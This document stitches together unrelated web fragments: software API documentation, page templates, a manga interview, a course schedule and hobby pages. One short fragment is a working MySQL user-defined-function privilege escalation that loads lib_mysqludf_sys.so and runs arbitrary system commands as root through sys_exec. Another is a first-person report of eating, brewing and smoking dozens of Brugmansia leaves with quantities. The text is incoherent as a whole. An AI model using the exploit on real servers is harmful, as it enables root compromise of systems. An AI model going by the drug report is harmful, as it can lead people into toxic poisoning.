- Iterator to the first non-zero element of the dense vector.
§ canAlias()
template<typename VT, typename OP, bool TF>
template<typename T >
Returns whether the expression can alias with the given address alias.
- Parameters
-
| alias | The alias to be checked. |
- Returns
- true in case the expression can alias, false otherwise.
§ canSMPAssign()
template<typename VT, typename OP, bool TF>
Returns whether the expression can be used in SMP assignments.
- Returns
- true in case the expression can be used in SMP assignments, false if not.
§ end()
template<typename VT, typename OP, bool TF>
Returns an iterator just past the last non-zero element of the dense vector.
- Returns
- Iterator just past the last non-zero element of the dense vector.
§ isAliased()
template<typename VT, typename OP, bool TF>
template<typename T >
Returns whether the expression is aliased with the given address alias.
- Parameters
-
| alias | The alias to be checked. |
- Returns
- true in case an alias effect is detected, false otherwise.
§ isAligned()
template<typename VT, typename OP, bool TF>
Returns whether the operands of the expression are properly aligned in memory.
- Returns
- true in case the operands are aligned, false if not.
§ load()
template<typename VT, typename OP, bool TF>
Access to the SIMD elements of the vector.
- Parameters
-
| index | Access index. The index has to be in the range . |
- Returns
- Reference to the accessed values.
§ operand()
template<typename VT, typename OP, bool TF>
Returns the dense vector operand.
- Returns
- The dense vector operand.
§ operation()
template<typename VT, typename OP, bool TF>
Returns a copy of the custom operation.
- Returns
- A copy of the custom operation.
§ operator[]()
template<typename VT, typename OP, bool TF>
Subscript operator for the direct access to the vector elements.
- Parameters
-
| index | Access index. The index has to be in the range . |
- Returns
- The resulting value.
§ operator~() [1/2]
template<typename VT, bool TF>
Conversion operator for non-constant vectors.
- Returns
- Reference of the actual type of the vector.
§ operator~() [2/2]
template<typename VT, bool TF>
Conversion operator for constant vectors.
- Returns
- Const reference of the actual type of the vector.
§ size()
template<typename VT, typename OP, bool TF>
Returns the current size/dimension of the vector.
- Returns
- The size of the vector.
The documentation for this class was generated from the following file:


Definition at line 15 of file OTP.php.
◆ __construct()
OTP constructor.
- Parameters
-
Definition at line 26 of file OTP.php.
◆ createOTP()
| createOTP |
( |
|
$customerName, |
|
|
|
$customerEmail, |
|
|
|
$customerPhone, |
|
|
|
$merchantName, |
|
|
|
$length, |
|
|
|
$medium, |
|
|
|
$ttl = null , |
|
|
|
$sendToCustomer = true |
|
) |
| |
Create an OTP
- Parameters
-
| string | $customerName | Name of the customer |
| string | $customerEmail | Email of the customer |
| string | $customerPhone | Phone of the customer |
| string | $merchantName | This is your merchant/business name. It would display when the OTP is sent |
| int | $length | This is Integer length you want for the OTP. |
| array | $medium | the medium you want your customers to receive the OTP on. Possible values are sms, email and whatsapp. You can pass more than one medium in the array" |
| int | $ttl | Pass an integer value represented in minutes for how long you want the OTP to live for before expiring |
| bool | $sendToCustomer | Set to true to send otp to customer |
- Returns
- mixed
Definition at line 43 of file OTP.php.
◆ validateOTP()
| validateOTP |
( |
|
$reference, |
|
|
|
$otp |
|
) |
| |
Validate OTP
- Parameters
-
| string | $reference | This is the reference that was returned in the create OTP response |
| int | $otp | This is the One time Pin sent to the user. You are meant to collect this from the user for validation |
- Returns
- mixed
Definition at line 73 of file OTP.php.
◆ $flutterwave
The documentation for this class was generated from the following file:


library(rdf_write)
creates an RDF/XML
document from a list of triples.
RDF is a promising standard for representing meta-data about documents on the web as well as exchanging frame-based data (e.g. ontologies). RDF is often associated with `semantics on the web'. It consists of a formal data-model defined in terms of triples. In addition, a graph model is defined for visualisation and an XML application is defined for exchange.
`Semantics on the web' is also associated with the Prolog programming
language. It is assumed that Prolog is a suitable vehicle to reason with
the data expressed in RDF models. Most of the related web-infra
structure (e.g. XML parsers, DOM implementations) are defined in Java,
Perl, C or C++
.
Various routes are available to the Prolog user. Low-level XML
parsing is due to its nature best done in C or C++
. These
languages produce fast code. As XML/SGML are at the basis of most of the
other web-related formats we will benefit most here. XML and SGML, being
very stable specifications, make fast compiled languages even more
attractive.
But what about RDF? RDF-XML is defined in XML, and provided with a Prolog term representing the XML document processing it according to the RDF syntax is quick and easy in Prolog. The alternative, getting yet another library and language attached to the system, is getting less attractive. In this document we explore the suitability of Prolog for processing XML documents in general and into RDF in particular.
We realised an RDF compiler in Prolog on top of the sgml2pl package (providing a name-space sensitive XML parser). The transformation is realised in two passes.
The first pass rewrites the XML term into a Prolog term conveying the same information in a more friendly manner. This transformation is defined in a high-level pattern matching language defined on top of Prolog with properties similar to DCG (Definite Clause Grammar).
The source of this translation is very close to the BNF notation used by the http://www.w3.org/TR/REC-rdf-syntax/specification, so correctness is `obvious'. Below is a part of the definition for RDF containers. Note that XML elements are represented using a term of the format:
element(Name, [AttrName = Value...], [Content ...])
memberElt(LI) ::= \referencedItem(LI). memberElt(LI) ::= \inlineItem(LI). referencedItem(LI) ::= element(\rdf(li), [ \resourceAttr(LI) ], []). inlineItem(literal(LI)) ::= element(\rdf(li), [ \parseLiteral ], LI). inlineItem(description(description, _, _, Properties)) ::= element(\rdf(li), [ \parseResource ], \propertyElts(Properties)). inlineItem(LI) ::= element(\rdf(li), [], [\rdf_object(LI)]), !. % inlined object inlineItem(literal(LI)) ::= element(\rdf(li), [], [LI]). % string value
Expression in the rule that are prefixed by the \
operator acts as invocation of another rule-set. The body-term is
converted into a term where all rule-references are replaced by
variables. The resulting term is matched and translation of the
arguments is achieved by calling the appropriate rule. Below is the
Prolog code for the
referencedItem rule:
referencedItem(A, element(B, [C], [])) :- rdf(li, B), resourceAttr(A, C).
Additional code can be added using a notation close to the Prolog DCG notation. Here is the rule for a description, producing properties both using propAttrs and propertyElts.
description(description, About, BagID, Properties) ::= element(\rdf('Description'), \attrs([ \?idAboutAttr(About), \?bagIdAttr(BagID) | \propAttrs(PropAttrs) ]), \propertyElts(PropElts)), { !, append(PropAttrs, PropElts, Properties) }.
The parser is designed to operate in various environments and
therefore provides interfaces at various levels. First we describe the
top level defined in library(rdf)
, simply parsing a RDF-XML
file into a list of triples. Please note these are not asserted
into the database because it is not necessarily the final format the
user wishes to reason with and it is not clean how the user wants to
deal with multiple RDF documents. Some options are using global URI's in
one pool, in Prolog modules or using an additional argument.
load_rdf(File, Triples,[])
.[]
, local identifiers
are not tagged.share
(default), blank-node
properties (i.e. complex properties without identifier) are reused if
they result in exactly the same triple-set. Two descriptions are shared
if their intermediate description is the same. This means they should
produce the same set of triples in the same order. The value noshare
creates a new resource for each blank node.true
, expand rdf:aboutEach
into a set of triples. By default the parser generates
rdf(each(Container), Predicate, Subject)
.xml:lang
declaration in an enclosing element).true
, xml:lang
declarations in the document
are ignored. This is mostly for compatibility with older versions of
this library that did not support language identifiers.rdf:datatype
=Type
attribute, call ConvertPred(+Type, +Content, -Literal)
.
Content is the XML element contentas returned by the XML
parser (a list). The predicate must unify Literal with a
Prolog representation of Content according to
Type or throw an exception if the conversion cannot be made.
This option servers two purposes. First of all it can be used to
ignore type declarations for backward compatibility of this library.
Second it can be used to convert typed literals to a meaningful Prolog
representation. E.g. convert '42' to the Prolog integer 42 if the type
is xsd:int
or a related type.
xmlns
:NS=URL
declaration found in the source.The Triples list is a list of rdf(Subject,
Predicate, Object)
triples. Subject is either a plain
resource (an atom), or one of the terms each(URI)
or prefix(URI)
with the obvious meaning. Predicate is either a plain atom
for explicitely non-qualified names or a term
NameSpace:Name. If NameSpace is
the defined RDF name space it is returned as the atom rdf
.
Finally, Object is a URI, a Predicate or a term of
the format literal(Value)
for literal values. Value
is either a plain atom or a parsed XML term (list of atoms and
elements).
The Object (3rd) part of a triple can have several different
types. If the object is a resource it is returned as either a plain atom
or a term NameSpace:Name. If it is a
literal it is returned as literal(Value)
, where Value
takes one of the formats defined below.
xml:lang
qualifier.
lang(LanguageID, Atom)
xml:lang
qualifier
LanguageID specifies the language and Atom the
actual text.
element(Name, Attributes, Content)
and atoms for CDATA
parts as described with the SWI-Prolog
http://www.swi-prolog.org/packages/sgml2pl.htmlSGML/XML parser .
type(Type, StringValue)
rdf:datatype=
Type a term
of this format is returned.
XML name spaces are identified using a URI. Unfortunately various
URI's are in common use to refer to RDF. The rdf_parser.pl
module therefore defines the namespace as a multifile/1
predicate, that can be extended by the user. For example, to parse the
http://www.mozilla.org/rdf/doc/inference.htmlNetscape OpenDirectory
structure.rdf
file, the following declarations are used:
:- multifile rdf_parser:rdf_name_space/1. rdf_parser:rdf_name_space('http://www.w3.org/TR/RDF/'). rdf_parser:rdf_name_space('http://directory.mozilla.org/rdf'). rdf_parser:rdf_name_space('http://dmoz.org/rdf').
The initial definition of this predicate is given below.
rdf_name_space('http://www.w3.org/1999/02/22-rdf-syntax-ns#'). rdf_name_space('http://www.w3.org/TR/REC-rdf-syntax').
The above defined load_rdf/[2,3] is not always suitable. For example, it cannot deal with documents where the RDF statement is embedded in an XML document. It also cannot deal with really large documents (e.g. the Netscape OpenDirectory project, currently about 90 MBytes), without huge amounts of memory.
For really large documents, the sgml2pl parser can be
programmed to handle the content of a specific element (i.e. <rdf:RDF>
)
element-by-element. The parsing primitives defined in this section can
be used to process these one-by-one.
dialect(xmlns)
output option. XML is either a
complete <rdf:RDF>
element, a list of RDF-objects
(container or description) or a single description of container.Exploits the call-back interface of sgml2pl, calling
OnTriples(Triples, File:Line)
with the list of
triples resulting from a single top level RDF object for each RDF
element in the input as well as the source-location where the
description started.
Input is either a file name or term stream(Stream)
.
When using a stream all triples are associated to the value of the
base_uri
option. This predicate can be used to process
arbitrary large RDF files as the file is processed object-by-object. The
example below simply asserts all triples into the database:
assert_list([], _). assert_list([H|T], Source) :- assert(H), assert_list(T, Source). ?- process_rdf('structure,rdf', assert_list, []).
Options are described with load_rdf/3.
The option
expand_foreach
is not supported as the container may be in
a different description. Additional it provides embedded
:
rdf:RDF
elements. If this option is false
(default), it gives a
warning on elements that are not processed. The option embedded(true)
can be used to process RDF embedded in xhtml without warnings.
The library library(rdf_write)
provides the inverse of load_rdf/2
using the predicate rdf_write_xml/2.
In most cases the RDF parser is used in combination with the Semweb
package providing library(semweb/rdf_db)
. This library
defines rdf_save/2
to save a named RDF graph from the database to a file. This library
writes a list of rdf terms to a stream. It has been developed for the
SeRQL server which computes an RDF graph that needs to be transmitted in
an HTTP request. As we see this as a typical use-case scenario the
library only provides writing to a stream.
ascii
, iso_latin_1
or utf8
.
Characters that cannot be represented in the encoding are represented as
XML entities. Using ASCII is a good idea for documents that can be
represented almost completely in ASCII. For more international documents
using UTF-8 creates a more compact document that is easier to read.
rdf_write(File, Triples) :- open(File, write, Out, [encoding(utf8)]), call_cleanup(rdf_write_xml(Out, Triples), close(Out)).
A test-suite and driver program are provided by rdf_test.pl
in the source directory. To run these tests, load this file into Prolog
in the distribution directory. The test files are in the directory
suite
and the proper output in suite/ok
.
Predicates provided by rdf_test.pl
:
suite/tN.rdf
and
display the RDF source, the intermediate Prolog representation and the
resulting triples.
suite/tN.rdf
and store the resulting triples in
suite/ok/tN.pl
for later validation by test/0.
It took three days to write and one to document the Prolog RDF parser. A significant part of the time was spent understanding the RDF specification.
The size of the source (including comments) is given in the table below.
| lines | words | bytes | file | function |
| 109 | 255 | 2663 | rdf.pl | Driver program |
| 312 | 649 | 6416 | rdf_parser.pl | 1-st phase parser |
| 246 | 752 | 5852 | rdf_triple.pl | 2-nd phase parser |
| 126 | 339 | 2596 | rewrite.pl | rule-compiler |
| 793 | 1995 | 17527 | total |
We also compared the performance using an RDF-Schema file generated by http://www.smi.stanford.edu/projects/protege/Protege-2000 and interpreted as RDF. This file contains 162 descriptions in 50 Kbytes, resulting in 599 triples. Environment: Intel Pentium-II/450 with 384 Mbytes memory running SuSE Linux 6.3.
The parser described here requires 0.15 seconds excluding 0.13 seconds Prolog startup time to process this file. The http://www.pro-solutions.com/rdfdemo/Pro Solutions parser (written in Perl) requires 1.5 seconds exluding 0.25 seconds startup time.


Well after reading reports on Brugmansia/Datura and how easily it was to not only obtain but have weird hallucinations I decided to try it. I went out to buy a tree at the local garden shop. Well they had a few. I chose the one that hadnt bloomed yet but was about to so I could try the flowers at a later date. I believe the type to be B. Versicolor (Ecuador Pink) as that is what the other flowers looked like around it. Anyways later that night I thought I would have a go at trying it. I boiled 2 large 8' leaves in about .5 litres of water. This sat for a good 10-15 minutes. I was unsure of the boiling time.
Well I took the tea I had just made upstairs and drank it in under 5 minutes (the boiling leaves smelt like spinach to me. It took me a while to figure that one out). While I got the feeling of intoxication slightly nothing much happened. So I decided to chow down on some of the smaller leaves. By that time I had drank about 2 big ones (tea) and at the end of the night 2 more big leaves (raw) and about 12 small (raw) ones about 2-3' long. Extremely disapointed that NOTHING was happening except for a slight drunkenness, dilated pupils and my mouth was quite dry (hence why I kept taking more, I know that this is where a lot of people get frustated and take more and have a fucked up trip but I was willing to risk it) okay ONE more tea. I threw about 5 leaves in the mix I think 2 big and 3 small. Again I drank this down and NOTHING.
I went to lay down hoping SOMETHING would happen but I just felt nauseated, which Ive read is a sign that I'd taken too much, well I was joyed that if I took more than most people maybe Ill get more results.  I decide to take a nap as I read that once I'd fallen asleep and woken up the effects would really start to hit me. Well I fell asleep and woke up 2 hours later, NOTHING had happened (I was really hoping for hallucinations of elves or something weird as Ive never gotten that from a 'natural' drug before).  Especially after reading that some people need just 1-2 leaves and black out from it or have really strong trips.
The next day I woke up, nothing was strange or really different so I decided I should take some more (I know it's possible to not realize its strange at the time that one is high but my sitter didnt notice anything wrong with the way I talked and I never mentioned anything about talking to people or having people walk into the room). Throughout the day I plucked off small-medium sized leaves and ate them, not a very pleasant taste, I enjoyed the tea much more as they were quite bitter (and I like my tea without milk or sugar so the bitterness in the tea form didnt bother me). So I tried different methods of getting the plant inside me. I used the old Aztec method of intoxication. I rolled up about 5 small leaves each 'package' and used one in the morning and another one later. While I felt slightly intoxicated again and I couldnt see anything that close to my face and about 8' away which made it extremely difficult to eat as I couldnt see the food.
Again, I waited and waited and waited, nothing happened. I read a report saying to mix it with water and just let it steep for a few hours-overnight, well I did that, nothing happened after 20 minutes of drinking it. I used about 5 small leaves in that mix as well (I went to a forest setting to see if anything would happen there while I was drinking it, and nothing really strange). Finally the only method I could think of would be smoking it. So I made a makeshift pipe (as I'm not a huge smoke loving person) dried part of a branch that broke off the top (enough to fill my pipe thats diameter is .5' and length 2') and attempted to smoke it. The taste wasnt bad and it gave the smell of MJ for some reason. While I felt gitty and stared at things for a while, no hallucinations, audio or visual happened in any form. So I just went to bed.
This all took place over the past 2 days. Its the 3rd day now and I have gotten no great results even though I must have ate 30 or so leaves trying to get to that state and Ive decided to stop taking it until the tree blooms so hopefully something may manifest, although I doubt it if it hasnt happened now it probably never will. All of this has lead me to the following conclusions:
A) In most of the Brugmansia reports I see they always report either using or seeing flowers, this is what I think people use as identification. Maybe when the plant flowers it gives off a stronger chemicals (as I believe many plants do) and focus all of its energy and chemcials into the flowers and later the seeds. This could possibly be the reason why its not very strong for me?
B)It is still in its original planter container and inside the house in my room by the window (for convience purposes, I think itll go outside after I finish writing this). There is also a light on it to make sure it gets enough sunlight. Maybe just because its a sapling its not as powerful as Brugmansia which have been growing for years. Therefore it has less chemicals inside of it which only lead to elementary symptoms. Although after 30-40 leaves I'd think something would happen.
All in all this experience was and is quite disapointing. After a while my focus came back, even though I was still eating the leaves at the time. I havent eaten anything and it seems like my pupils are going back to normal. I will have to try the Brugmansia again after it flowers and try 1 or 2 flowers to see if I get any stronger results.
There is one good thing about my experience and it was a humbling feeling. My mind goes into a nice blank state and its very easy to contemplate things. I should also mention I got the same result from eating the plant material of Morning Glory vines (I was too impatient to wait for seeds and I'm still having a problem finding the seeds after the flower has died).
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


#include "_doctype.html"
#define FLAWNAME Win CE schannel cert name out of buffer read
curl - FLAWNAME
#include "css.t"
#include "manpage.t"
#define CURL_DOCS
#define CURL_URL docs/adv_20161221C.html
#include "_menu.html"
#include "setup.t"
WHERE3(Docs, "/docs/", Security, "/docs/security.html",
FLAWNAME)
#include "adv-related-box.inc"
#include "adv_20161221C.gen"
#include "_footer.html"


| Concept Framework 2.2 documentation | Contents | Index |
| Name | Version | Deprecated |
| srand | version 1.0 | no |
| number srand(number seed) |
| seed | [in] Seed for random-number generation |
|
The srand function sets the starting point for generating a series of pseudorandom integers. To reinitialize the generator, use 1 as the seed argument. Any other value for seed sets the generator to a random starting point.
rand retrieves the pseudorandom numbers that are generated. Calling rand before any call to srand generates the same sequence as calling srand with seed passed as 1. |
import standard.C.math import standard.C.time class Main { function Main() { /* Seed the random-number generator with current time so that * the numbers will be different every time we run. */ srand(time()); /* Display 10 numbers. */ for(var i = 0; i < 10; i++) echo "" + rand() + "\n"; } } Results 23308 26874 27985 8661 7135 4724 15947 4854 14226 8279 |
| Documented by Simona Gabriela Plesuvu, generation time: Sun Jan 27 18:15:15 2013 GMT | (c)2013 Devronium Applications |


Dr. Stone's Riichiro Inagaki & Boichi Share Secrets of Shonen Jump Success
by Reuben BaronThe post-apocalyptic, civilization-rebuilding science-adventure Dr. Stone has become one of the most entertaining and popular manga series running in Shonen Jump, resulting in an anime adaptation that is currently simulcasting on Crunchyroll and FUNimation as well as airing Saturdays at midnight on Toonami. At Anime NYC, CBR spoke with Dr. Stone's writer Riichiro Inagaki and artist Boichi, who recently created his own spin-off manga Dr. Stone Reboot: Byakuya, on their work on the hit series.
CBR: Inagaki-san, your first big hit was a football manga (Eyeshield 21). Now you're writing a science manga (Dr. Stone). When you were growing up, were you more of a jock or a nerd?
Inagaki: When I was in grade school, I did play sports, baseball, soccer, so I did grow up playing team sports. I think my experiences from that time might be reflected in Eyeshield 21. But that was in grade school, so I would never consider myself a star player, but when it came to brain power, that was where I excelled, so I became a storywriter and a non-athletic person.
Boichi-san, you've done art for both Japanese manga and Korean manwha. What's the biggest difference between working in the two different industries?
Boichi: That question is really interesting! I have material I can tell you for three days, so let me tell you two differences. First of all, the big difference is the Japanese manga artists have a classical spirit as an artisan, whereas manwha artists have more like a traditional artist point of view. The second is that in Korea, because of political reasons, there are no erotic manga. But Japan does. To me, I think erotic manga is important to providing energy to manga in Japan. It plays the same role as horror films in Hollywood.
Do you consider Dr. Stone to be part of or inspired by the isekai genre?
Inagaki: As I was writing Dr. Stone, I started to notice there are aspects that reflect the hit genre. Am I gonna avoid it? No, because if I think it’s entertaining, and everyone thinks it’s entertaining, great. Even if it hits that typical genre, I will hit that with a bigger genre ball. On one hand, I would say no, but on the other hand, when there are similarities, that motivates me more to create something even bigger than that genre.
I feel like you could make a really good crafting-centered video game based on Dr. Stone. Any chance of a game adaptation?
Boichi: [Applauds]
Inagaki: It’s something I really want. If someone can do it for me, definitely.
Boichi: I really hope it can be turned into a game.
 Would you want to do any bigger collaborations with any of those manga-ka?
Inagaki: So those manga-ka, they’re actually just my personal friends. I gathered them and put it up on social media and it went a little bit viral. I’m a little afraid of the results of that! They are just my personal friends, so do I want to do a collaboration with them? Definitely not!
Boichi-san, you're now writing a spin-off series, Dr. Stone Reboot: Byakuya. What's it like to go from drawing these characters to now also writing for them?
Boichi: I would like to ask you to imagine my position. It’s like I just had a jackpot at a casino, and on the way out, I won a lottery at the same time! This chance came to me with Inagaki-sensei to create Dr. Stone, I thought it could not be better than this in my life. Now I’m doing the spin-off, and now I have this lotto! Imagine that’s how I feel. So that was how I felt when we started, but once we started I told myself to calm down. In the Reboot, what’s important is I am trying to learn from the story Inagaki-sensei created and the editing that [Hiroyuki Honda, editor of Weekly Shonen Jump] does. I told myself this is an important chance to learn a lot from these artists. I’m learning story from Inagaki-sensei and that story is actually published on Shonen Jump. Wow! That’s fantastic!
How will Dr. Stone Reboot: Byakuya proceed from here? Please let us know what you can.
 When we first discussed the storyline with Honda-san, my question was “Is it OK I have so few characters?” Honda-san assured me that would be OK. Up until the fourth chapter of Byakuya, you can still see the similarity to Dr. Stone. However, after it will reveal more traditional science fiction.
The Dr. Stone manga is currently in its third major story arc. How many arcs do you see this story going for? Is Dr. Stone going be a relatively contained story like The Promised Neverland or is it the goal to go on as long as One Piece?
Inagaki: I get this question often, and it’s an answer that’s hard to give. We have a certain goal we’re striving for, but as far as the journey goes that’s unknown. It might be a windy U-turn, it might be a short journey, it might be a long-journey. It’s hard to answer. I actually asked that question myself to Boichi-sensei in the past, and he said, “Do whatever you feel does justice to the story.”
Boichi: I hope it will last for a million years.
So you gotta train your successors for when you’re dead.
Boichi: I should be evolved into a new being to live and continue Dr. Stone!
New episodes of Dr. Stone air every Saturday night as part of Adult Swim's Toonami block, and are available on Crunchyroll. Viz Media publishes chapters of the manga in English weekly.
https://schema.orgBreadcrumbListListItem1Homehttps://www.cbr.com/ListItem2Anime Newshttps://www.cbr.com/category/anime-news/ListItem3Dr. Stone's Riichiro Inagaki & Boichi Share Secrets of Shonen Jump Successhttps://www.cbr.com/dr-stone-inagaki-boichi-interview/


{% extends "publisher/publisher_base.html" %} {% block publisher_content %}
The update request for the above title has already been submitted to the DOAJ administrators, and can no longer be edited.


|
{{::column.title}}
|
|||||
|---|---|---|---|---|---|
| {{::container.ContainerName}} | {{::container.host.name}} | {{::container.Partition}} | {{::container.ContainerGroup}} | {{::container.State}} | {{::container.CreatedDate | timeAgo}} |
A container is an isolated virtual server for your applications.
Connect to host before creating a container.


abstract suspend fun send(effect: T): Unit
(source)
Send this effect to be handled somewhere externally. It suspends until the effect is received.
Implementation detail: this event is sent to a buffered channel. It suspends until the channel is able to receive this value (in normal situations should be very brief) or throws an exception if the channel reached its buffer capacity. This channel acts as a buffer between the handler that sends effects and potential observers that listen to them.
If a handler is sending effects and there are no observers receiving them, this will buffer can eventually fill up and subsequent calls of this method will suspend until one observer starts collecting the effects.


Taken from: https://iodigitalsec.com/2013/08/13/mysql-root-to-system-root-with-udf-for-windows-and-linux
works on linux and windows
log into mysql to get a prompt
use a database and table
> use <DATABASE>;
> create table <USERNAME>(line blob);
> insert into robert values(load_file('/home/<USERNAME>/lib_mysqludf_sys.so'));
> select * from <USERNAME> into dumpfile '/usr/lib/lib_mysqludf_sys.so';
> create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
> select sys_exec('<RUN COMMAND HERE>');
You can check to see if the commands are running by doing something like
> select sys_exec('id > /tmp/out; chown robert.robert /tmp/out');
and then doing a $ cat /tmp/out
you should see uid=0(root) gid=0(root) etc etc


|
Performs a signed multiplication of two operands. This instruction has three forms, depending on the number of operands.
- One-operand form. This form is identical to that used by the MUL instruction. Here, the source operand (in a general-purpose register or memory location) is multiplied by the value in the AL, AX, or EAX register (depending on the operand size) and the product is stored in the AX, DX:AX, or EDX:EAX registers, respectively.
- Two-operand form. With this form the destination operand (the first operand) is multiplied by the source operand (second operand). The destination operand is a generalpurpose register and the source operand is an immediate value, a general-purpose register, or a memory location. The product is then stored in the destination operand location.
- Three-operand form. This form requires a destination operand (the first operand) and two source operands (the second and the third operands). Here, the first source operand (which can be a general-purpose register or a memory location) is multiplied by the second source operand (an immediate value). The product is then stored in the destination operand (a general-purpose register).
When an immediate value is used as an operand, it is sign-extended to the length of the destination operand format.
The CF and OF flags are set when significant bit (including the sign bit) are carried into the upper half of the result. The CF and OF flags are cleared when the result (including the sign bit) fits exactly in the lower half of the result.
The three forms of the IMUL instruction are similar in that the length of the product is calculated to twice the length of the operands. With the one-operand form, the product is stored exactly in the destination. With the two- and three- operand forms, however, the result is truncated to the length of the destination before it is stored in the destination register. Because of this truncation, the CF or OF flag should be tested to ensure that no significant bits are lost.
The two- and three-operand forms may also be used with unsigned operands because the lower half of the product is the same regardless if the operands are signed or unsigned. The CF and OF flags, however, cannot be used to determine if the upper half of the result is non-zero.
|


@* * Copyright 2023 HM Revenue & Customs * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *@ @this(mainTemplate: MainTemplate) @()(implicit request: Request[_], messages: Messages) @mainTemplate( title=Messages("tai.noPrimary.heading"), backLinkContent = None ){
@Messages("tai.noPrimary.para1")
@Messages("tai.noPrimary.para2")
@Messages("tai.noPrimary.para3")
@Html( Messages( "tai.noPrimary.para4", includes.link( url="https://www.gov.uk/government/organisations/hm-revenue-customs/contact/income-tax-enquiries-for-individuals-pensioners-and-employees/", copy=Messages("tai.noPrimary.contact") ) ) )


{% extends "base.html" %} {% block title %}Adopted Puppies | Puppy Shelter{% endblock %} {% block description %}A list of all adopted puppies.{% endblock %} {% block breadcrumbs_items %}
No puppies have been adopted yet.


Supervised learning setup. LMS.
Logistic regression. Perceptron. Exponential family.
Generative learning algorithms. Gaussian discriminant analysis. Naive Bayes.
Support vector machines.
Model selection and feature selection.
Ensemble methods: Bagging, boosting.
Evaluating and debugging learning algorithms.
Learning theory. (3 classes)
Bias/variance tradeoff. Union and Chernoff/Hoeffding bounds.
VC dimension. Worst case (online) learning.
Practical advice on how to use learning algorithms.
MDPs. Bellman equations.
Value iteration and policy iteration.
Linear quadratic regulation (LQR). LQG.
Q-learning. Value function approximation.
Policy search. Reinforce. POMDPs.
Dates for Assignments and Midterm
Assignment 1: Out 10/05. Due 10/19.
Assignment 2: Out 10/19. Due 11/02.
Midterm: 11/09 (6 PM - 9 PM) - Venue - To Be Announced
Assignment 3: Out 11/02. Due 11/16.
Assignment 4: Out 11/16. Due 12/07.
Dates for Project Related Submissions
Project Proposal: Due 10/21 at 11:59 PM.
Project Milestone: Due 11/18 at 05:00 PM.
Poster Session: 12/13 (08:30 AM - 11:30 AM) at Arrillaga Center for Sports and Recreation (ACSR)
Final Writeup: Due 12/16 at 11:59 PM. (No Late Days)
All assignments are due at 11:00 AM after the class on corresponding Wednesdays.
Project related submissions are due at the times specified above.
A maximum of three late days can be applied to any single assignment, project proposal, or project milestone.
Late days cannot be used for the poster and the final report.


Manage content
This list contains all {{CONFIG.VALUES.JAM_PHRASE_PLURAL}}, and {{CONFIG.VALUES.GAME_PHRASE_PLURAL}} in them. Click on the edit button next to the {{CONFIG.VALUES.JAM_PHRASE_SINGULAR}} or {{CONFIG.VALUES.GAME_PHRASE_SINGULAR}} you'd like to manage.
{{#jams.LIST}}
{{>satisfaction}}
{{#entries}}
{{/entries}}
{{/jams.LIST}}


Home
Admin
Vehicle Settings
Make
Model
Year
Type
Config
Capacity
directions_car
Vehicle Make
Choose your option
English
Arabic
Malayalam
Hindi
Language Select
local_shipping
Make Name
info
info
Logo
map
Country
info
Insert
send
Update
update
Logo
Make Name
Make Country
directions_car
Vehicle Model
Choose your option
English
Arabic
Malayalam
Hindi
Language Select
info
Model Name
info
Logo
info
Parent Make
Insert
send
Update
update
Logo
Name
Parent Make
directions_car
Vehicle Year
Vehicle Year
Logo
Insert
send
Update
update
Logo
Year
directions_car
Vehicle Type
Type Name
Description
Image
Is Equipment Type
Insert
send
Update
update
Image
Type Name
Type Description
Is Equipment
directions_car
Vehicle Configuration
Config Name
Description
Image
Insert
send
Update
update
Image
Name
Description
directions_car
Vehicle Capacity
Name
Capacity
Length
Pallet Number
Insert
send
Update
update
Name
Capactity
Length
Pallet No


One might ask the question why bother to map some of the features in Scala to Java.
Why not use Scala? If you like many others walk between the Java/Scala you'll miss some of Scala's features when programming in pure Java. It's for these situations this project has been created. To allow plain Java users use some of goodies in Scala but without actually using Scala.
Copyright 2015 Peter Nerg.
Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License.


This full-stack app is something I came up with alongside 3 other Galvanize students during a school-wide hackathon.
Given our 5-hour time constraints, we opted on broad, crowd-pleasing (ahem) content and created a site that would allow users to browse a selection of fine cannabis. The rubric required the site to have CRUD functionality that would allow users to get all of the weed, add an entry of their own, edit the entries, and delete an entry as well.
We went a step further and added features that would filter out the various strains by type, as well as generate a random strain at the click of a button.
My teammates created the backend, chiefly by designing the database that contains the information being pulled by the front-end.
I built the front-end with Angular, with the main focus being giving full CRUD functionality.
Aside from a bit of superficial styling changes I recently made, this is essentially what we were able to come up with after 6 hours of hard coding. Not a bad way to spend the day!
Still needed: So many things. But in the spirit of showing what I'm capable of in a short timeframe, as well as fleshing this section of the site via adhering to the rule of threes, I'm leaving this as is. For now.
PS - Standard issue disclaimer: yes, I am among large number of people in Colorado who have contributed their talents and skills toward something marijuana-related... and do not partake.
PPS - Not that I judge, either, though :)


Uses a media query for rule application. Tests that we can accurately parse this.
Hover over me
List item 1
List item 2
Hover over me 2
List item 1
List item 2


Toggle navigation
Anna
User Profile
Settings
Logout
40
points
My Trips
Rewards
Settings
Help
Leaderboard
Name
Points
Anna
40000
Debbie
30000
John
21000
Rewards
Total Points - 5000
Remaining - 2500
Cash
Redeem


There are a couple of things I enjoy doing with my spare time and that would be playing video games, watching anime, drawing, and creating custom clothing.
My most favorite hobby would hands down have to be playing video games. I get so much enjoyment from playing video games because it can take you
anywhere. It can be a fantasy game that would never happen in real life, an apoclypse, something more realistic with humans and guns, etc. They will
make you forget about what is happening in the real world and let you enjoy yourself with the time alone or even with friends. There are millions of
games out there, it just takes finding that right game to get you hooked. There are many genres of games that you are bound to find something that
interests you that will make you unable to put the game down.
My other hobbies do the same thing just in a different sense. You can find enjoyment in anything. Just make sure no one discourages you from finding
what you love to do. Here is a link where you can download most games:
[Link]
| Multiplayer: | Single Player: |
| Dota 2 | Ratchet and Clank |
| League of Legends | Last of Us |
| Valorant |


|
Simbody
3.6
|
This namespace contains Xml::Document and all the related XML classes. More...
Classes | |
| class | Attribute |
